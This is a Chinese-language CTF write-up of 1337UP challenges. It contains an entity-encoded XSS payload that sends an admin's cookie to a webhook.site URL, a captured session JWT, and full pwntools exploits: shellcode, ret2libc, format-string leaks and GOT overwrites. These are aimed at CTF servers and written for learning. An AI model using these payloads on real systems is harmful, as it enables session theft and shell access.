http://.pnghttp://srcdoc=&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x20;&#x73;&#x72;&#x63;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3a;&#x2f;&#x2f;&#x63;&#x64;&#x6e;&#x6a;&#x73;&#x2e;&#x63;&#x6c;&#x6f;&#x75;&#x64;&#x66;&#x6c;&#x61;&#x72;&#x65;&#x2e;&#x63;&#x6f;&#x6d;&#x2f;&#x61;&#x6a;&#x61;&#x78;&#x2f;&#x6c;&#x69;&#x62;&#x73;&#x2f;&#x6a;&#x71;&#x75;&#x65;&#x72;&#x79;&#x2f;&#x33;&#x2e;&#x36;&#x2e;&#x30;&#x2f;&#x2e;&#x2e;&#x25;&#x32;&#x66;&#x2e;&#x2e;&#x2f;&#x61;&#x6e;&#x67;&#x75;&#x6c;&#x61;&#x72;&#x2e;&#x6a;&#x73;&#x2f;&#x31;&#x2e;&#x34;&#x2e;&#x35;&#x2f;&#x61;&#x6e;&#x67;&#x75;&#x6c;&#x61;&#x72;&#x2e;&#x6d;&#x69;&#x6e;&#x2e;&#x6a;&#x73;&#x22;&#x3e;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#xa;&#x3c;&#x62;&#x6f;&#x64;&#x79;&#x20;&#x6e;&#x67;&#x2d;&#x61;&#x70;&#x70;&#x20;&#x6e;&#x67;&#x2d;&#x63;&#x73;&#x70;&#x3e;&#xa;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x69;&#x6e;&#x70;&#x75;&#x74;&#x20;&#x61;&#x75;&#x74;&#x6f;&#x66;&#x6f;&#x63;&#x75;&#x73;&#x20;&#x6e;&#x67;&#x2d;&#x66;&#x6f;&#x63;&#x75;&#x73;&#x3d;&#x22;&#x24;&#x65;&#x76;&#x65;&#x6e;&#x74;&#x2e;&#x70;&#x61;&#x74;&#x68;&#x7c;&#x6f;&#x72;&#x64;&#x65;&#x72;&#x42;&#x79;&#x3a;&#x27;&#x5b;&#x5d;&#x2e;&#x63;&#x6f;&#x6e;&#x73;&#x74;&#x72;&#x75;&#x63;&#x74;&#x6f;&#x72;&#x2e;&#x66;&#x72;&#x6f;&#x6d;&#x28;&#x5b;&#x74;&#x6f;&#x70;&#x2e;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x3d;&#x5c;&#x27;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3a;&#x2f;&#x2f;&#x77;&#x65;&#x62;&#x68;&#x6f;&#x6f;&#x6b;&#x2e;&#x73;&#x69;&#x74;&#x65;&#x2f;&#x32;&#x35;&#x62;&#x35;&#x35;&#x65;&#x32;&#x34;&#x2d;&#x38;&#x34;&#x65;&#x64;&#x2d;&#x34;&#x31;&#x33;&#x30;&#x2d;&#x38;&#x63;&#x62;&#x30;&#x2d;&#x32;&#x30;&#x33;&#x61;&#x32;&#x39;&#x65;&#x36;&#x35;&#x36;&#x38;&#x30;&#x2f;&#x3f;&#x66;&#x3d;&#x5c;&#x27;&#x2b;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x63;&#x6f;&#x6f;&#x6b;&#x69;&#x65;&#x5d;&#x2c;&#x20;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x29;&#x27;&#x22;&#x3e;&#xa;&#x3c;&#x2f;&#x62;&#x6f;&#x64;&#x79;&#x3e;

report給admin後收到的cookie:

auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IkFsZXgifQ.IO9Hg0MvLDQ4y4t6lFRGhrmL_WebBYJZKxCr044Pfympn3F_j6RYqXyCcYnOSN1AMPOgCdLdehOtTtxeO8BTCmnAzvJQUHssjHSIGCZCLZGVD-gu7ShCaAtzBhHv-ogHLtAmgM_GdPTKAJuSnsmLmBRqLht4dd3Pz_mUoy6PA9x1DHp5e7sOraebIwS2TLxGHvax_kiZ0aqfmc04i3ZsCaKcjifQ6HhmabhJL94TTkPyf2aKJeiIEoPx4GKwSwzUAv8i8-4yWNS1J5VC4v6tuJePzpydSN0geFKEGVBzJWTikb0HOx6knyBeYRWf3G8KwPuK5-aR_gsDL9cm7fXpa_6bUdBD6zicmjl4zLyXx8AI-w6MKDRslnRqGg3jyJIiAWssepI69StqVfdiDXL7HuD6C59UeRXNRyVwZ1SaDtdnqUxDfPlcjmkUE8b72yNUeFwtc_7VFWlme4JZcbwMY6-929cVGBLfYEvnk1cbrbYuPmNHlKMpm4E71ZawYnyzFL8FnFuRxVQC3AHMu1a8QVl9l4fpKsIr2Xd5v8XUtTN1qOCmaNpPV8FW_jsiZyfuY_eUoqYD49z4fDKB09MYhCZDWjNsFmgEs62jF1bGun8TdbFhH7P2kImNPOdGpPH0aqAaX08WTcCIktbvkuFI8Qwa0tcwNPDznesAJYlQhdg; flag=1337UP{Hello_Al3x_H0w_ar3You}

flag: 1337UP{Hello_Al3x_H0w_ar3You}

Easy Register (pwn)

Overview

關鍵的code:

int easy_register()
{
  char v1[80]; // [rsp+0h] [rbp-50h] BYREF

  printf("[\x1B[34mi\x1B[0m] Initialized attendee listing at %p.\n", v1);
  puts("[\x1B[34mi\x1B[0m] Starting registration application.\n");
  printf("Hacker name > ");
  gets(v1);
  puts("\n[\x1B[32m+\x1B[0m] Registration completed. Enjoy!");
  return puts("[\x1B[32m+\x1B[0m] Exiting.");
}

Solution

很水,printf直接送你buffer的位置,又因為這題的stack是rwx、沒canary,所以用gets輸入shellcode並把saved rip蓋成buffer address就可以了

exploit:

#!/usr/bin/env python3

from pwn import *
import sys

exe = ELF("./easy_register_patched")

context.binary = exe
context.arch = 'amd64'
context.terminal = ["tmux", "splitw", "-h"]


def conn():
    if "d" in sys.argv[1:]:
        context.log_level = "debug"
    if len(sys.argv) > 1 and "l" == sys.argv[1]:
        r = process([exe.path])
    elif len(sys.argv) > 1 and "g" in sys.argv[1]:
        r = gdb.debug([exe.path], "b main")
    else:
        r = remote("easyregister.ctf.intigriti.io", 7777)

    return r


def main():
    r = conn()

    r.recvuntil(b'listing at ')

    buffer_addr = int(r.recvline()[:-2].split(b'0x')[-1], 16)

    payload = flat({0x00:b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05", 0x58:p64(buffer_addr)}, filler='\x90')

    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

flag:

$ cat f*
1337UP{Y0u_ju5t_r3g15t3r3d_f0r_50m3_p01nt5}

Bird (pwn)

Overview

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  banner(argc, argv, envp);
  cage();
  restart();
  puts("\n[\x1B[32m+\x1B[0m] Exiting.");
  return 0;
}

cage:

unsigned __int64 cage()
{
  char v1; // [rsp+Bh] [rbp-1A5h]
  int i; // [rsp+Ch] [rbp-1A4h]
  int j; // [rsp+Ch] [rbp-1A4h]
  int v4; // [rsp+10h] [rbp-1A0h]
  char needle[48]; // [rsp+20h] [rbp-190h] BYREF
  __int64 v6[10]; // [rsp+50h] [rbp-160h] BYREF
  char buf[264]; // [rsp+A0h] [rbp-110h] BYREF
  unsigned __int64 v8; // [rsp+1A8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  puts("\n[\x1B[34mi\x1B[0m] Name your favorite bird:");
  read(0, buf, 0xFAuLL);
  if ( (int)strlen(buf) <= 64 )
  {
    puts("         __.-.__");
    puts("     _.-'  ' `  `-._");
    puts("   .'  '  '   `  `  `.");
    puts("  ( '    '     `    ` )");
    puts("  |`-,..,.____..,.,--;|");
    puts("  |: |  :|  : | : |: ||");
    puts("  |: |  :|  : | : |: ||");
    puts("  |: |  :|  : | : |: ||");
    puts("  |: |  :|  : | : |: ||");
    puts("  |: |  :|  : | : |: ||");
    puts("  |: |  :|  : | : |: ||");
    puts("  |; |  :|  : | : |: ||");
    puts("  /`-!...|____|...!--'\\");
    puts(" /                     \\");
    puts(" `--...._________....--'");
    puts("\n[\x1B[31mx\x1B[0m] The cage is empty.");
  }
  else
  {
    qmemcpy(v6, "ADDBDADBDGDGADD@AFAEDEDAAFDBDFDGDGACDCDAD@DEADAADFDODODDDBDADNDGGG", 66);
    for ( i = 0; i <= 65; ++i )
      *((_BYTE *)v6 + i) ^= 0x77u;
    v1 = 0;
    for ( j = 0; j <= 65; ++j )
    {
      if ( (j & 1) != 0 )
        needle[v4++] = hex_to_ascii((unsigned int)v1, (unsigned int)*((char *)v6 + j));
      else
        v1 = *((_BYTE *)v6 + j);
    }
    if ( strstr(buf, needle) )
    {
      puts("         __.-.__");
      puts("     _.-'  ' `  `-._");
      puts("   .'  '  '   `  `  `.");
      puts("  ( '    '     `    ` )");
      puts("  |`-,..,.____..,.,--;|");
      puts("  |: |  :|  : | : |: ||");
      puts("  |: |  :| (9>| : |: ||");
      puts("  |: |  :|(\\) | : |: ||");
      puts("  |: |  :|/\\\\ | : |: ||");
      puts("  |: |  /| II | : |: ||");
      puts("  |: |///| II | : |: ||");
      puts("  |; |  :| II | : |: ||");
      puts("  /`-!...|____|...!--'\\");
      puts(" /                     \\");
      puts(" `--...._________....--'");
      printf("\n[\x1B[32m+\x1B[0m] The bird is singing: ");
      printf(buf);
    }
  }
  return __readfsqword(0x28u) ^ v8;
}

restart:

unsigned __int64 restart()
{
  char v1[88]; // [rsp+0h] [rbp-60h] BYREF
  unsigned __int64 v2; // [rsp+58h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("\n[\x1B[34mi\x1B[0m] Did you hear the bird's song? (y/n) ");
  gets(v1);
  if ( v1[0] == 110 )
    cage();
  else
    puts("\n[\x1B[34mi\x1B[0m] Okay good!");
  return __readfsqword(0x28u) ^ v2;
}

這題有開canary

Solution

如果cage的strstr那邊是true的話,就會觸發有fmt漏洞的printf

由於strstr去查詢的那串字串是固定的,用gdb測試一下可以看到是: c56500c7ab26a5100d4672cf18835690

所以只需要放上這串東西,再搭配fmt就可以穩定的leak stack上的東西,所以canary和libc的位置就不是問題了(分別是%59$p%63$p)

可以看到restart的部分是直接用gets,所以只需要用剛剛leak出來的canary來避免stack smashing的error再ret2libc就可以了

exploit:

#!/usr/bin/env python3

from pwn import *
import sys

exe = ELF("./bird_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")

context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]


def conn():
    if "d" in sys.argv[1:]:
        context.log_level = "debug"
    if len(sys.argv) > 1 and "l" == sys.argv[1]:
        r = process([exe.path])
    elif len(sys.argv) > 1 and "g" in sys.argv[1]:
        r = gdb.debug([exe.path], "b *restart+52")
    else:
        r = remote("bird.ctf.intigriti.io", 7777)

    return r


def main():
    r = conn()

    payload = flat({0x00: b'c56500c7ab26a5100d4672cf18835690' + b'%59$p' + b'%63$p' + b'END'},filler=b'A', length=65)

    r.sendafter(b'Name your favorite bird:', payload)

    _, canary, __libc_start_main_231 = r.recvuntil(b'END', drop=True).split(b'0x')
    canary = bytes.fromhex(canary.decode())[::-1]
    libc.address = int(__libc_start_main_231, 16) - (libc.symbols['__libc_start_main'] + 231)

    success(f'canary: {canary}')
    success(f'libc base: {libc.address:#x}')
    success(f'system: {libc.symbols["system"]:#x}')

    ret = lambda: p64(0x400606)
    rdi = lambda x: p64(0x400d43) + p64(x)

    payload = flat({0x60-0x8: canary, 0x60+0x8: ret() + rdi(next(libc.search(b'/bin/sh\0'))) + p64(libc.symbols["system"])}, filler=b'y')

    r.sendlineafter(b'(y/n) ', payload)

    r.interactive()


if __name__ == "__main__":
    main()

flag:

$ cat f*
1337UP{W3_1ov3_C4n4r13s_7h47_r37urn_7o_l1bc}

Cake (pwn)

Overview

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-94h] BYREF
  char v5[120]; // [rsp+10h] [rbp-90h] BYREF
  int v6; // [rsp+88h] [rbp-18h]
  __int16 v7; // [rsp+8Ch] [rbp-14h]
  int v8; // [rsp+98h] [rbp-8h] BYREF
  int v9; // [rsp+9Ch] [rbp-4h]

  v9 = 6;
  v8 = 0;
  memset(v5, 0, sizeof(v5));
  v6 = 0;
  v7 = 0;
  v4 = 0;
  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  puts("Welcome to my cake taste test!\n");
  while ( v9 > v8 )
    menu((__int64)v5, (__int64)&v8, (__int64)&v4);
  puts("Ok, you have had enought cake. Bye!");
  return 0;
}

menu:

__int64 __fastcall menu(__int64 a1, __int64 a2, __int64 a3)
{
  int v5; // [rsp+2Ch] [rbp-4h] BYREF

  v5 = 0;
  puts("What would you like to do?");
  puts("1) Take a bite of cake!");
  puts("2) Give the chef a suggestion.");
  puts("3) View my suggestion.\n");
  while ( 1 )
  {
    printf("> ");
    __isoc99_scanf("%d", &v5);
    if ( v5 == 1 )
      return eat(a2);
    if ( v5 == 2 )
      return make_suggestion(a1, a3);
    if ( v5 == 3 )
      break;
    puts("That's not a valid choice. Choose again!");
    clean_stdin();
  }
  return print_suggestion(a1, a3);
}

eat:

int __fastcall eat(unsigned int *a1)
{
  char buf[256]; // [rsp+10h] [rbp-100h] BYREF

  printf("Bites taken: %d\n", *a1);
  printf("How many bites would you like? (1, 2, or 3): ");
  fflush(_bss_start);
  read(0, buf, 0x101uLL);
  if ( buf[0] <= 48 || buf[0] > 51 )
    return puts("That was not a valid amount :(\n");
  *a1 += buf[0] - 48;
  return puts("Yummy!\n");
}

make_suggesion:

int __fastcall make_suggestion(char *a1, _DWORD *a2)
{
  if ( *a2 )
    return puts("You've already given our chef a suggestion. Don't overwhelm him!\n");
  puts("What could our chef do better?");
  clean_stdin();
  fgets(a1, 126, stdin);
  *a2 = 1;
  return puts("Thanks for the suggestion, we will let her know!\n");
}

print_suggesion:

int __fastcall print_suggestion(const char *a1, _DWORD *a2)
{
  if ( !*a2 )
    return puts("You haven't made a suggestion.\n");
  printf(a1);
  return putchar(10);
}

這題保護全關,而且可以看到print_suggestion有fmt的漏洞(怎麼又是fmt…),而make_suggestion的部分可以輸入126 bytes給printf用,但他會檢查*a2是否為0,若是0則可以輸入,但輸入完就會立刻把*a2設成1

Solution

首先第一次printf的時候除了leak libc之外,因為a2的address在stack上,所以可以順便把它寫成0,方便再次make_suggestion

第二次printf將fflush的got蓋成_start,這時再呼叫eat,即可重頭執行一次

(之所以這麼做是因為如果現在就把fflush或其他menu call的到的function的got蓋成one_gadget,因為都不符合constraints,所以無法執行)

第三次printf將setbuf的got蓋成one_gadget後,再次執行eat,因為setbuf會被main觸發,且stack上的狀況符合one_gadget的constraints,所以就能順利get shell了!

exploit:

#!/usr/bin/env python3

from pwn import *
import sys

exe = ELF("./cake_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]


def conn():
    if "d" in sys.argv[1:]:
        context.log_level = "debug"
    if len(sys.argv) > 1 and "l" == sys.argv[1]:
        r = process([exe.path])
    elif len(sys.argv) > 1 and "g" in sys.argv[1]:
        r = gdb.debug([exe.path], '''
        # init-pwndbg
        b *print_suggestion+38
        ''')
    else:
        r = remote("cake.ctf.intigriti.io", 9999)

    return r


def main():
    r = conn()

    r.sendlineafter(b'> ', b'2')

    payload = b'%6$n'
    payload += b'%39$pEND'

    r.sendlineafter(b'?\n', payload)


    r.sendlineafter(b'> ', b'3')

    libc.address = int(r.recvuntil(b'END', drop=True).split(b'0x')[-1], 16) - (libc.symbols['__libc_start_main'] + 231)

    success(f'libc base: {libc.address:#x}')

    one_gadget_off = 0x4f432
    one_gadget_addr = libc.address + one_gadget_off

    success(f'one_gadget: {one_gadget_addr:#x}')

    payload = fmtstr_payload(20, {exe.got['fflush']: exe.symbols['_start']})

    assert len(payload) <= 125

    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b'?\n', payload)
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b'> ', b'1')

    payload = fmtstr_payload(20, {exe.got['setbuf']: one_gadget_addr})

    assert len(payload) <= 125

    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b'?\n', payload)
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b'> ', b'1')
    r.sendline(b'echo -n sanity check')
    r.recvuntil(b'sanity check')

    r.interactive()


if __name__ == "__main__":
    main()

flag:

$ cat f*
1337UP{Wow_that_was_Quite_the_journey!}

Search Engine (pwn)

Overview

他會讀flag到stack上,fmt again…

Solution

太水了,沒什麼好解釋,直接上exploit:

#!/usr/bin/env python3

from pwn import *
import sys

exe = ELF("./search_engine_redacted_patched")

context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]


def conn():
    if "d" in sys.argv[1:]:
        context.log_level = "debug"
    if len(sys.argv) > 1 and "l" == sys.argv[1]:
        r = process([exe.path])
    elif len(sys.argv) > 1 and "g" in sys.argv[1]:
        r = gdb.debug([exe.path], "b main")
    else:
        r = remote("searchengine.ctf.intigriti.io", 1337)

    return r


def main():
    r = conn()
    offset = 12
    payload = "$p".join(f'%{i}' for i in range(offset, offset+5)).encode() + b'$p'
    r.sendline(payload)
    r.recvuntil(b'You searched for - ')
    # print(r.recvline())
    leaked = [bytes.fromhex(s.decode())[::-1] for s in r.recvline().replace(b'(nil)',b'').split(b'0x') if s]
    print(b''.join(leaked))
    r.interactive()

if __name__ == "__main__":
    main()

flag:

[+] Opening connection to searchengine.ctf.intigriti.io on port 1337: Done
b'1337UP{Th3s3_f0rm4ts_ar3_wh4ck!}\x00U\xe8\xa7\xfc\x7f'

Summary

這場的CTFd一開始不知為啥掛掉,讓人感覺很差,但Contact Alex這題實在太讚了,所以算是有彌補一開始的不愉快XD